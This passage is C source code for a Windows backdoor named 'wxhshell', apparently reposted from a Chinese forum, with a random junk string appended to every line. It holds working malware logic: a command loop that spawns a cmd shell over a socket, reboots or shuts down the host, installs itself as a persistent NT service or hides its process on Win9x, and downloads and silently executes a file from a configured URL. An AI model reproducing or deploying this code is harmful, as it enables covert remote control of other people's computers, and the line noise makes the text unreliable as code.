  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jYrym-  
  } /%62X{=>;  
  else { qx Wgt(Os  
"Ys_ \  
    switch(cmd[0]) { $4DFgvy$  
  Vu_&~z7h  
  // 帮助 Z "-ntx#  
  case '?': { "|F. 'qZrm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xy$vYDAFw  
    break; ]}p2Tp;1  
  } RV( w%g  
  // 安装 Tku /OG'  
  case 'i': { 1po"gVot  
    if(Install()) "fRlEO[9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^CfM|L8>  
    else TP~( r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *C5:#A0  
    break; T}V7SD.  
    } U&,r4>V@h>  
  // 卸载 6 M*b6  
  case 'r': { >sn"   
    if(Uninstall()) ?6 8$3;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wDB)&b  
    else |~z8<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Hx j_  
    break; \nC5 ,Rz  
    } uFGv%W  
  // 显示 wxhshell 所在路径 ? UxG/]",  
  case 'p': { BO8%:/37[4  
    char svExeFile[MAX_PATH]; cC b>zI  
    strcpy(svExeFile,"\n\r"); ^Yf3"D?&  
      strcat(svExeFile,ExeFile); w/qQ(]n8  
        send(wsh,svExeFile,strlen(svExeFile),0); xR0~S 3caI  
    break; yEE|e&#>  
    } hm*Th  
  // 重启 $eK8GMxZ#  
  case 'b': { J f\Qf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?nB he lW^  
    if(Boot(REBOOT)) lO551Y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T {hyt  
    else { ,@}W@GGP)  
    closesocket(wsh); :5r:I[FFy  
    ExitThread(0); $/4Wod*l  
    } h |s*i  
    break; R'vdk<  
    } 3js)niT9u  
  // 关机 DfAiL(  
  case 'd': { ^fA3<|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JOA%Y;`<#  
    if(Boot(SHUTDOWN)) H%*~l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ze@#Cp  
    else { @uQ%o%Ru6  
    closesocket(wsh); r$b:1C~  
    ExitThread(0); !JT< (I2  
    } 9QX&7cs&[  
    break; on]\J  
    }  ~Y1"k]J  
  // 获取shell V->.|[J  
  case 's': { o%vIkXw  
    CmdShell(wsh); N5:D8oWWXR  
    closesocket(wsh); j)6@q@P/  
    ExitThread(0); /uy&2l  
    break; @#bBs9@gv  
  } 9`ri J4zl  
  // 退出 w k-Mu\  
  case 'x': { N2[, aU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {Uik|  
    CloseIt(wsh); Gh>"s#+  
    break; ;yRwoTc)Y  
    } SlH7-"Ag  
  // 离开 ,2=UuW"K  
  case 'q': { ,m #@%fa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;s}-X_O<  
    closesocket(wsh); c28oLT1|D  
    WSACleanup(); PiIp<fJd$  
    exit(1); ^U0apI  
    break; yC9:sQ'k  
        } D]t~S1ycG7  
  } t:?<0yfp&  
  } B| $\/xO  
uf{SxEa  
  // 提示信息 '0\0SL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5pNvzw  
} OlD7-c2L]  
  } Ktg&G<%J0  
1G e)p4  
  return; Y;a6:>D%cT  
} J,dG4.ht  
}M"-5K}  
// shell模块句柄 r?Ev.m  
int CmdShell(SOCKET sock) `~w%Jf  
{ X+(aQ >y  
STARTUPINFO si; S&4w`hdD>~  
ZeroMemory(&si,sizeof(si)); GQYtH#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kw*Cr/'*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `^s]?  
PROCESS_INFORMATION ProcessInfo; LM'*OtpDG  
char cmdline[]="cmd"; $5q{vy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c]cO[T_gGa  
  return 0; J@u!S~&r  
} S>/I?(J  
1A,4 Aw<  
// 自身启动模式 hEdo,gF*  
int StartFromService(void) Ymrpf  
{ n:}MULy;  
typedef struct 30gZ_ 8C>}  
{ C%x(`S^/  
  DWORD ExitStatus; h=p-0 Mx .  
  DWORD PebBaseAddress; ^)eessZ  
  DWORD AffinityMask; N7j]yvE  
  DWORD BasePriority; F M@W>+  
  ULONG UniqueProcessId; ByB0>G''.  
  ULONG InheritedFromUniqueProcessId; mCEKEX  
}   PROCESS_BASIC_INFORMATION; 8KtF<`A)  
p ] $  
PROCNTQSIP NtQueryInformationProcess; W #JVUGYD  
'|dKg"Yl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %8z+R m,Ot  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 37ri b  
8V53+]c$Y  
  HANDLE             hProcess; ek+8hnkh  
  PROCESS_BASIC_INFORMATION pbi; ~' PS|  
-\sKSY5{R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?j^?@%f0  
  if(NULL == hInst ) return 0; `*uuB;  
_If@#WnoyA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]R2Z-2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n WO~v{h3J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D@YM}HXuj  
4`^TC[  
  if (!NtQueryInformationProcess) return 0; {~B4F}ES  
TZ[F u{gZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $fU/9jTa  
  if(!hProcess) return 0; a*$1la'Uf  
duiKFNYN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OFPd6,(E  
x.yb4i=Jq  
  CloseHandle(hProcess); `rOe5Zp$  
;M(ehX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $F /p8AraK  
if(hProcess==NULL) return 0; Y GcY2p<  
!513rNO  
HMODULE hMod; Wpg?%+Y  
char procName[255]; Z?G 3d(YT  
unsigned long cbNeeded; wTJMq`sY_  
9g^./k\8%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N#xM_Mpt  
w4&v( m  
  CloseHandle(hProcess); .Q6{$Y%l  
'!|E+P-  
if(strstr(procName,"services")) return 1; // 以服务启动 ht[TMdV  
,_X,V!  
  return 0; // 注册表启动 \gPNHL*  
} tg m{gR  
Y9(i}uTi  
// 主模块 0I AaPz/e  
int StartWxhshell(LPSTR lpCmdLine) @v:ILby4-  
{ >f9]Nj  
  SOCKET wsl; Z!5m'yZO  
BOOL val=TRUE; enfu%"(K)  
  int port=0; 5SPl#*W  
  struct sockaddr_in door; 0ju wDd  
}M"'K2_Z  
  if(wscfg.ws_autoins) Install(); ^ _#gIT\  
S+\Mt+o  
port=atoi(lpCmdLine); N[?4yV2s  
B )3SiU  
if(port<=0) port=wscfg.ws_port; ?;r7j V/`j  
|H|eH~.yg&  
  WSADATA data; V'| g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B'#gs'fl  
f@V{}&ZWp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U:\oGa84A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =S?-=jPtg  
  door.sin_family = AF_INET; u BW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ml_:Q]kl^  
  door.sin_port = htons(port); \2VZkVO9  
?2bE=|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]a@v)aa-  
closesocket(wsl); mm9S#Ya  
return 1; cB{;Nh6"  
} o@V/37!  
{10+(Vl  
  if(listen(wsl,2) == INVALID_SOCKET) { Y&!McM!Jw  
closesocket(wsl); fqp7a1qQl  
return 1; Yv`1ySR  
} t6U+a\-<  
  Wxhshell(wsl); 98%a)s)(a  
  WSACleanup(); Q,LWZw~"  
L[9+xK^g  
return 0; f>JzG,-  
ki/Lf4  
} fVe-esAw  
sC*E;7gT,  
// 以NT服务方式启动 cH8H)55F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0eu$ oel-  
{ V:$ 1o  
DWORD   status = 0; -wHGi  
  DWORD   specificError = 0xfffffff; uX 5B>32  
 x+j/v5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5D@Q1   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r?{LQWP>e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ri.|EmH2:D  
  serviceStatus.dwWin32ExitCode     = 0; KHC(MdZ  
  serviceStatus.dwServiceSpecificExitCode = 0; KQy\l+\gM  
  serviceStatus.dwCheckPoint       = 0; Iw-6Z+ 94  
  serviceStatus.dwWaitHint       = 0; %4g4 C#  
hD~/6bx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !P3tTL!*L  
  if (hServiceStatusHandle==0) return; kJ:5msKwC  
(TK cSVR  
status = GetLastError(); ^K@ GK  
  if (status!=NO_ERROR) R5YtCw]i=  
{ u=N;P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xuC6EK+  
    serviceStatus.dwCheckPoint       = 0; G`<1>%" F  
    serviceStatus.dwWaitHint       = 0; 53#5p;k  
    serviceStatus.dwWin32ExitCode     = status; L?5t <`#lw  
    serviceStatus.dwServiceSpecificExitCode = specificError; rEyMSLN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a\.?{/  
    return; z:q'?{` I  
  } t jBv{  
9#ay(g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; < 2r#vmM  
  serviceStatus.dwCheckPoint       = 0; <L[)P{jn?p  
  serviceStatus.dwWaitHint       = 0; S%%qn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vf2! 0  
} wZolg~dg  
"PM:&v  
// 处理NT服务事件,比如:启动、停止 (>% Vj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 v#sq  
{ s`#j8>`M  
switch(fdwControl) uX!y,a/"  
{ nFOG=>c}  
case SERVICE_CONTROL_STOP: l%V}'6T  
  serviceStatus.dwWin32ExitCode = 0; X>YOo~yS5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wH5O>4LO  
  serviceStatus.dwCheckPoint   = 0; x~I1(l7r  
  serviceStatus.dwWaitHint     = 0; _34YH5  
  { #k]0[;1os  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A.*nDl`H  
  } Hqy>!1 !  
  return; EG=>F1&M  
case SERVICE_CONTROL_PAUSE: 8TM=AV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K*D]\/;^  
  break; ^,r;/c9A8  
case SERVICE_CONTROL_CONTINUE: NWX%0PGZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H$'kWU*l  
  break; Pg}G4L?H;J  
case SERVICE_CONTROL_INTERROGATE: E<_6O Cz  
  break; c8 fb)`,k  
}; `o-<,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .jU0Hu{F4  
} !,WRXE&j  
n_ gB#L$  
// 标准应用程序主函数 gI$`d?[0{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z%d4V<fn  
{ ]nGA1S{  
"s^@PzQpN  
// 获取操作系统版本 ;^SgV   
OsIsNt=GetOsVer(); Y\F H4}\S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ijSYQ  
Y'":OW#oN  
  // 从命令行安装 DdW8~yI&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 745PCC'FK  
%&S]cEw  
  // 下载执行文件 0|k[Wha#  
if(wscfg.ws_downexe) { /9gMcn9EB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JVCgYY({KQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); atnbM:t  
} s_+XSH[=f  
~d8o,.n`1  
if(!OsIsNt) { ago t (  
// 如果时win9x,隐藏进程并且设置为注册表启动 R9HS%O6b6  
HideProc(); e/%Y ruzS  
StartWxhshell(lpCmdLine); rx) Q]  
} rkXSy g b  
else  X0L{#U  
  if(StartFromService()) _)\,6| #  
  // 以服务方式启动 gpl!Iz~5  
  StartServiceCtrlDispatcher(DispatchTable); cSWVHr  
else G->@   
  // 普通方式启动 $fG/gYvI\  
  StartWxhshell(lpCmdLine); @AyW9!vV;3  
uv d>  
return 0; (S{c*"}2  
}
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只看该作者 1 发表于: 2006-10-10
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